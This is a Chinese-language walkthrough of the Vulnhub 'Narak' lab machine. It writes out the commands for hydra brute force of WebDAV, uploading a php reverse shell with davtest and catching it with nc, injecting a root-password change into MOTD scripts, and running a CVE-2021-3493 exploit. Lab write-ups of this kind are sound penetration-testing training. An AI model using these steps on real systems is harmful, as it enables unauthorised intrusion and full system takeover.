narak靶場實戰詳解
靶機:https://download.vulnhub.com/ha/narak.ova
注釋:使用vmwarworkstation運行虛擬機
難度:中+
目標:取得root權限+2Flag 網絡配置:這里簡單介紹下我的網絡配置,靶機和Kali都用的VMware,然后使用nat連接,開啟了dhcp。
0x00 環境配置
虛擬網絡編輯器:

Kali:

靶機:

0x01 主機發現/端口掃描
首先使用下面這條命令來發現靶機的ip地址為192.168.26.131
arp-scan -l

然后開始使用nmap進行端口和服務的發現
nmap -sV -sC -p- 192.168.26.131

經過對開放端口和服務的掃描,發現只開放了22端口和80端口,訪問80端口也沒發現什么可以測試的點,于是開始使用dirsearch進行目錄的掃描。
0x02 信息收集
dirsearch --url http://192.168.26.131

經過目錄掃描,發現了webdav的路徑,訪問了一波,發現需要登錄,這里簡單講一下什么是webdav:


0x03 密碼字典定制
在我進行了多次簡單的弱口令嘗試后發現不行,于是開始使用kali自帶的字典進行暴力破解,但是跑了很久失敗了,所以我打算使用kali自帶的字典生成工具cewl生成一個針對這個網站專屬的字典進行測試一波。
cewl http://192.168.26.131 -w 192.168.26.131dict.txt

0x04 hydra密碼爆破
hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v

成功的爆破出了賬號和密碼,果然還是生成的專屬字典比較好用。由于我們獲取了webdav服務的相關認證信息,所以接下來我直接開始使用kali自帶的webdav測試工具davtest進行測試,看能否傳文件上去,如果可以的話,我們可以直接將webshell傳到服務器上,以便getshell突破邊界。
0x05 webdav漏洞
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg

通過上圖我們可以知道,我們可以通過獲取到的信息憑證建立一個DAV連接,并且可以在靶機上創建目錄和上傳文件,而上傳到上面的文件只有txt,php,html三種格式的文件可以被執行,那么到這里我們getshell的思路就有了, 直接傳一個反彈shell的php文件,然后kali監聽本地端口,然后訪問這個文件,觸發執行即可getshell。 cp /usr/share/webshells/php/php-reverse-shell.php . #將kali自帶反彈shell文件拷貝到當前目錄 vim php-reverse-shell.php #編輯這個文件,將ip改為kali的ip 端口改為kali的端口

davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php

通過上圖可以看到,我們已經成功將反彈shell的文件上傳到了靶機上,接下來kali監聽本地端口,然后訪問這個文件,觸發執行即可getshell。 nc -lnvp 4444 #kali監聽4444端口 http://192.168.26.131/webdav/rev.php #訪問該鏈接觸發執行反彈shell的代碼

python3 -c "import pty;pty.spawn('/bin/bash')" #升級優化一下shell
0x06 MOTD注入提權
接下來我們通過下面這條命令找一些屬主是root 普通用戶或組可執行 其他用戶可寫的文件,這種文件往往可以幫助我們實現權限提升。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解釋:
從根目錄下開始查找 文件類型 屬主是root 普通用戶或組可執行 其他用戶可寫 如果發現了符合條件的用 ls -l命令顯示 錯誤信息從定向到null

先cat了一下搜索到的第一個文件,發現里面有brainfuck加密的內容,所以嘗試解密下。

在線解密網站:http://bf.doleczek.pl/

chitragupt
解密得到的這個可能是某個用戶的密碼,所以根據查看/etc/passwd文件發現的用戶,挨個嘗試下。

當我嘗試切換到interno用戶的時候,使用揭秘得到的這個字符串成功的su到了inferno用戶上。到這里算是完成了從www-data權限到普通用戶權限的權限提升。

然后我們在inferno用戶的家目錄下發現了第一個flag。

既然已經獲取到了inferno用戶的密碼,我接下來嘗試使用ssh登錄到inferno用戶上。
ssh inferno@192.168.26.131
成功登錄到inferno用戶后再次執行下面這條命令:
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

我觀察到除了我們剛剛發現密碼的那個文件,其他文件都在/etc/update-motd.d/這個目錄下,motd是message of the day這句話的縮寫,我們通過ssh登錄成功后看到的那些歡迎和提示的信息都是motd目錄下存放的這些sh腳本所提供的。

那么現在我們知道了,當我們通過ssh登錄成功的時候,這些sh腳本會以root權限運行輸出那些歡迎信息和日期等等,并且我們當前這個用戶對這些文件可讀可寫,那么提權思路就有了,我們可以通過在這些sh腳本中寫入一個修改root用戶密碼的命令,這樣當我們通過ssh用戶登錄到inferno這個賬號上的時候,我們這些motd的sh腳本就會被以root用戶的權限執行,這時候我們寫入的修改root用戶密碼的命令也會被執行,之后我們只需要切換到root用戶即可完成提權,思路有了下面開始操作。
vi /etc/update-motd.d/00-header #編輯這個文件 echo 'root:123' | chpasswd #在文件末尾添加這一行,這行的意思就是,使用chpasswd命令將root用戶的密碼修改為123

然后保存修改后,退出ssh的連接,然后重新使用ssh登錄,觸發執行我們修改root用戶的命令。

當我們看到登錄成功后的歡迎語的時候,root用戶的密碼已經成功的被我們修改成了123。
接著只需要su到root用戶即可提權成功。

0x07 CVE-2021-3493提權:

在ssh成功登錄后的歡迎語中,知道了靶機的版本是Ubuntu18.04,對于該版本我比較熟悉,之前用過該版本的提權漏洞,所以這里不過多贅述。先將exp下載到kali本地。

scp exploit.c inferno@192.168.26.131:/home/inferno #將exp上傳到靶機

gcc exploit.c -o exploit #嘗試編譯exploit.c 并將編譯好的文件命名為exploit

發現靶機上無法運行gcc,那么我們就在kali上先編譯好,然后再傳到靶機上即可。

chmod +x exploit #給exploit賦予執行權限 ./exploit #執行exp

可以看到通過CVE-2021-3493同樣獲取到了root權限

0x08 總結
在這次靶機的滲透過程中,先是通過目錄掃描發現了webdav服務登錄的頁面,通過cewl生成的專屬字典配合hydra拿到了webdav服務的賬號密碼,然后借助了kali自帶的webdav利用工具davtest上傳了反彈shell的腳本,成功getshell突破了邊界,之后通過MOTD提權獲取到了root權限,然后又嘗試了第二種提權方法,通過CVE-2021-3493也成功拿到了root權限,總體來講打這臺靶機還是收獲了很多姿勢,這臺靶機比較有特色,用到的提權手法也與之前的靶機都有所不同,感興趣的師傅們可以下載到本地玩玩。
參考資料:https://baike.baidu.com/item/WebDAV/4610909?fr=aladdin
http://bf.doleczek.pl/
https://github.com/briskets/CVE-2021-3493
https://www.cnblogs.com/gageshen/p/11565980.html